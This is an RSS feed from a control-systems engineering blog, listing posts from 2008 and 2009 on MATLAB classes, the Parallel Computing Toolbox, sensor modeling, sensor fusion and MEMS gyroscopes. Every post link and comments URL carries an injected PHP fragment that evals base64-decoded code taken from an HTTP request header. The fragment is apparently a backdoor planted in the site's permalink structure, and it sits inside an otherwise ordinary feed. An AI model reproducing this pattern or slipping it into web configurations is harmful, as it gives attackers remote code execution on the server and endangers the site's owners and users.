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	<title>Blog at ControlTheoryPro.com &#187; modeling</title>
	<atom:link href="http://blogs.controltheorypro.com/category/modeling/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogs.controltheorypro.com</link>
	<description>The online resource for Control Systems.</description>
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		<item>
		<title>MATLAB 2009a &#8211; Classes, Getting Started</title>
		<link>http://blogs.controltheorypro.com/2009/04/16/matlab-2009a-classes-getting-started/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2009/04/16/matlab-2009a-classes-getting-started/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 03:02:56 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[classes]]></category>
		<category><![CDATA[MATLAB 2009a]]></category>
		<category><![CDATA[object-oriented programming]]></category>
		<category><![CDATA[PSD example]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=185</guid>
		<description><![CDATA[In control systems it is often necessary to model noise and disturbances with a PSD.  In this article I continue step-by-step my psdData class example.  In this step we define the necessary properties for the psdData class.]]></description>
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		<slash:comments>0</slash:comments>
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		<item>
		<title>MATLAB 2009a &#8211; Classes</title>
		<link>http://blogs.controltheorypro.com/2009/04/10/matlab-2009a-classes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2009/04/10/matlab-2009a-classes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 11 Apr 2009 02:44:34 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[classes]]></category>
		<category><![CDATA[MATLAB 2009a]]></category>
		<category><![CDATA[object-oriented programming]]></category>
		<category><![CDATA[PSD example]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=181</guid>
		<description><![CDATA[With the release of 2008a MATLAB made the creation of classes much easier. In these blogs posts I will run you through the development of an example class.  The class, or object, will allow the user to store, plot, and manipulate PSD data.]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Sensor Models</title>
		<link>http://blogs.controltheorypro.com/2008/12/03/new-sensor-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/12/03/new-sensor-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 04 Dec 2008 07:23:10 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[sensors]]></category>
		<category><![CDATA[sensor modeling]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=164</guid>
		<description><![CDATA[Given that sensors are vital to feedback systems I've included a bunch of sensor models in my wiki.]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MATLAB&#8217;s Parallel Computing Toolbox: What finally worked</title>
		<link>http://blogs.controltheorypro.com/2008/11/23/what_finally_worked/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/11/23/what_finally_worked/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 24 Nov 2008 06:12:57 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[Monte Carlo]]></category>
		<category><![CDATA[Parallel Computing Toolbox]]></category>
		<category><![CDATA[Simulink]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=158</guid>
		<description><![CDATA[If you are going to use MATLAB's Parallel Computing Toolbox for the first time schedule a couple of weeks to figure out how to use it with Simulink.  I've found a work around using the batch command but it isn't ideal.]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MATLAB&#8217;s Parallel Computing Toolbox</title>
		<link>http://blogs.controltheorypro.com/2008/11/20/matlabs-parallel-computing-toolbox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/11/20/matlabs-parallel-computing-toolbox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 21 Nov 2008 05:01:17 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[control system]]></category>
		<category><![CDATA[Monte Carlo]]></category>
		<category><![CDATA[Parallel Computing]]></category>
		<category><![CDATA[Simulink]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=151</guid>
		<description><![CDATA[The Mathworks makes use of the parallel toolbox sound simple.  It is not simple and it shouldn't be expected to be simple.

If it's your first time using the toolbox schedule at least 2 weeks to get it working.  Maybe even schedule some time for calling the Mathworks helpdesk.]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MEMS Gyroscope Design Models</title>
		<link>http://blogs.controltheorypro.com/2008/10/16/mems-gyroscope-design-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/10/16/mems-gyroscope-design-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 17 Oct 2008 03:04:16 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[sensors]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[MEMS]]></category>
		<category><![CDATA[MEMS gyroscopes]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=111</guid>
		<description><![CDATA[MEMS sensors are becoming increasingly more popular.  This entry is about the modeling and design of MEMS gyros.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/10/16/mems-gyroscope-design-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Controller Fusion</title>
		<link>http://blogs.controltheorypro.com/2008/10/12/controller-fusion/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/10/12/controller-fusion/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 12 Oct 2008 16:16:27 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[conjecture]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[sensor fusion]]></category>
		<category><![CDATA[control design]]></category>
		<category><![CDATA[controller fusion]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=104</guid>
		<description><![CDATA[Some systems require transient and steady-state responses which are almost mutaully exclusive.  So use Controller Fusion.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/10/12/controller-fusion/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sensor Fusion Example</title>
		<link>http://blogs.controltheorypro.com/2008/10/05/sensor-fusion-example/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/10/05/sensor-fusion-example/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 06 Oct 2008 03:10:55 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[sensor fusion]]></category>
		<category><![CDATA[sensors]]></category>
		<category><![CDATA[example]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=96</guid>
		<description><![CDATA[As discussed in the previous blog entry, sensor fusion is used to create one good sensor from at least 2 sensors that are not good enough to meet specifications.  This can be done simply but when real sensors are involved it can also become a bit of a black art requiring a lot of skill and experience.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/10/05/sensor-fusion-example/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sensor Fusion</title>
		<link>http://blogs.controltheorypro.com/2008/10/02/sensor-fusion/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/10/02/sensor-fusion/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 03:07:39 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[sensor fusion]]></category>
		<category><![CDATA[sensors]]></category>
		<category><![CDATA[sensor blending]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=89</guid>
		<description><![CDATA[Closed loop control systems depend on sensors.  In some cases, there is no single sensor which can meet all the requirements.  So sensor fusion, or sensor blending is used.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/10/02/sensor-fusion/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Engineering, Control Systems and Statistics</title>
		<link>http://blogs.controltheorypro.com/2008/09/27/engineering-control-systems-and-statistics/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/09/27/engineering-control-systems-and-statistics/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 28 Sep 2008 06:16:28 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[randomness]]></category>
		<category><![CDATA[stochasitc control]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=77</guid>
		<description><![CDATA[On the Edge there is an article describing why the US banks are now failing.  Bad models based on an incomplete understanding of the underlying processes.  Beware of extrapolation from models and extrapolation from their original intent.]]></description>
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		<slash:comments>0</slash:comments>
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